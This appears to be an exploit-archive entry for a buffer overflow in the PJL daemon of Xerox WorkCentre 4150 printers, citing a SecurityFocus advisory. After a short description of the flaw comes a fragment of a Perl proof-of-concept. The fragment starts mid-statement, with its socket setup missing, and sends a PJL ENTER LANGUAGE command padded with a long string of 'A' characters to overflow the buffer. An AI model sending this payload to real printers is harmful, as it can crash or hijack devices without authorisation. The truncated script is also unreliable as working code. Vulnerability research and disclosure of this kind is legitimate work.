Xerox WorkCentre - PJL Daemon Buffer Overflow (PoC)

source: https://www.securityfocus.com/bid/38010/info

Xerox WorkCentre is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with the privileges of the application or crash the affected application.

Xerox WorkCentre 4150 is vulnerable; other versions may also be affected.

Proto => 'tcp',
);

send($sock, "\033%-12345X\@PJL ENTER LANGUAGE = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n",0);
